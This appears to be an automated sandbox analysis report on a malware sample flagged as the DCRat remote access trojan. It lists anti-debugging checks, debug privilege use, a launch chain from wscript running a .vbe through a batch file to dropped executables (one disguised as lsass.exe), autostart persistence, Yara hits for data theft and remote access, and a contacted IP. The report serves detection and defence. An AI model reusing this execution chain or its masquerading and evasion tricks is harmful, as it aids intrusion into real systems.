Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0102866F
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102B710 GetProcessHeap, 0_2_0102B710
Enables debug privileges
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process token adjusted: Debug Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process token adjusted: Debug Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102753D mov eax, dword ptr fs:[00000030h] 0_2_0102753D
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Memory allocated: page read and write | page guard Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101F063 SetUnhandledExceptionFilter, 0_2_0101F063
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0101F22B
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0102866F
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0101EF05

HIPS / PFW / Operating System Protection Evasion:

barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\refhostperfdllCommon\mbuli7h5qN.vbe" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refhostperfdllCommon\rSX3yp.bat" " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process created: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe "C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe" Jump to behavior
Source: refhostperfdllCommonsessionnetsvc.exe, 00000007.00000002.713915438.0000000013171000.00000004.00000001.sdmp, wjIuhVBtfHXnMCZlWDoj.exe, 0000000A.00000002.727189288.0000000012551000.00000004.00000001.sdmp, refhostperfdllCommonsessionnetsvc.exe, 0000000D.00000002.732824643.0000000012DE1000.00000004.00000001.sdmp, lsass.exe, 0000000F.00000002.743281064.0000000012CB1000.00000004.00000001.sdmp, wjIuhVBtfHXnMCZlWDoj.exe, 00000012.00000002.753888327.0000000012461000.00000004.00000001.sdmp, lsass.exe, 00000014.00000002.935488926.0000000001B90000.00000002.00020000.sdmp, lsass.exe, 00000014.00000002.935822946.0000000012FB1000.00000004.00000001.sdmp Binary or memory string: Program Manager
Source: refhostperfdllCommonsessionnetsvc.exe, 00000007.00000002.713915438.0000000013171000.00000004.00000001.sdmp, wjIuhVBtfHXnMCZlWDoj.exe, 0000000A.00000002.727189288.0000000012551000.00000004.00000001.sdmp, refhostperfdllCommonsessionnetsvc.exe, 0000000D.00000002.732824643.0000000012DE1000.00000004.00000001.sdmp, lsass.exe, 0000000F.00000002.743281064.0000000012CB1000.00000004.00000001.sdmp, wjIuhVBtfHXnMCZlWDoj.exe, 00000012.00000002.753888327.0000000012461000.00000004.00000001.sdmp, lsass.exe, 00000014.00000002.935488926.0000000001B90000.00000002.00020000.sdmp, lsass.exe, 00000014.00000002.935822946.0000000012FB1000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: lsass.exe, 00000014.00000002.935488926.0000000001B90000.00000002.00020000.sdmp Binary or memory string: Progman
Source: lsass.exe, 00000014.00000002.935488926.0000000001B90000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Queries volume information: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe VolumeInformation Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Queries volume information: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe VolumeInformation Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Queries volume information: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Queries volume information: C:\Users\user\Pictures\Camera Roll\lsass.exe VolumeInformation Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Queries volume information: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Queries volume information: C:\Users\user\Pictures\Camera Roll\lsass.exe VolumeInformation Jump to behavior
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: GetLocaleInfoW,GetNumberFormatW, 0_2_0101A63C
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101ED5B cpuid 0_2_0101ED5B
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle, 0_2_0101D5D4
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100ACF5 GetVersionExW, 0_2_0100ACF5

Stealing of Sensitive Information:

barindex
Yara detected DCRat
Source: Yara match File source: 0000000F.00000002.743281064.0000000012CB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.753888327.0000000012461000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.727189288.0000000012551000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.935822946.0000000012FB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.713915438.0000000013171000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.732824643.0000000012DE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: refhostperfdllCommonsessionnetsvc.exe PID: 744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wjIuhVBtfHXnMCZlWDoj.exe PID: 6632, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: refhostperfdllCommonsessionnetsvc.exe PID: 5292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lsass.exe PID: 2936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wjIuhVBtfHXnMCZlWDoj.exe PID: 1744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lsass.exe PID: 1680, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected DCRat
Source: Yara match File source: 0000000F.00000002.743281064.0000000012CB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.753888327.0000000012461000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.727189288.0000000012551000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.935822946.0000000012FB1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.713915438.0000000013171000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.732824643.0000000012DE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: refhostperfdllCommonsessionnetsvc.exe PID: 744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wjIuhVBtfHXnMCZlWDoj.exe PID: 6632, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: refhostperfdllCommonsessionnetsvc.exe PID: 5292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lsass.exe PID: 2936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: wjIuhVBtfHXnMCZlWDoj.exe PID: 1744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: lsass.exe PID: 1680, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 553369 Sample: 9bdcc933d0c04da1fa41ba915c4... Startdate: 14/01/2022 Architecture: WINDOWS Score: 92 42 Found malware configuration 2->42 44 Antivirus detection for dropped file 2->44 46 Yara detected DCRat 2->46 48 3 other signatures 2->48 9 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe 3 6 2->9         started        12 wjIuhVBtfHXnMCZlWDoj.exe 3 2->12         started        15 lsass.exe 14 2 2->15         started        18 5 other processes 2->18 process3 dnsIp4 38 C:\...\refhostperfdllCommonsessionnetsvc.exe, PE32 9->38 dropped 20 wscript.exe 1 9->20         started        58 Antivirus detection for dropped file 12->58 60 Machine Learning detection for dropped file 12->60 40 47.254.235.229, 49780, 80 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC United States 15->40 file5 signatures6 process7 process8 22 cmd.exe 1 20->22         started        process9 24 refhostperfdllCommonsessionnetsvc.exe 4 11 22->24         started        28 conhost.exe 22->28         started        file10 32 C:\Windows\...\backgroundTaskHost.exe, PE32 24->32 dropped 34 C:\Users\user\Pictures\...\lsass.exe, PE32 24->34 dropped 36 C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe, PE32 24->36 dropped 50 Antivirus detection for dropped file 24->50 52 Machine Learning detection for dropped file 24->52 54 Creates multiple autostart registry keys 24->54 56 3 other signatures 24->56 30 refhostperfdllCommonsessionnetsvc.exe 2 24->30         started        signatures11 process12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
47.254.235.229
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false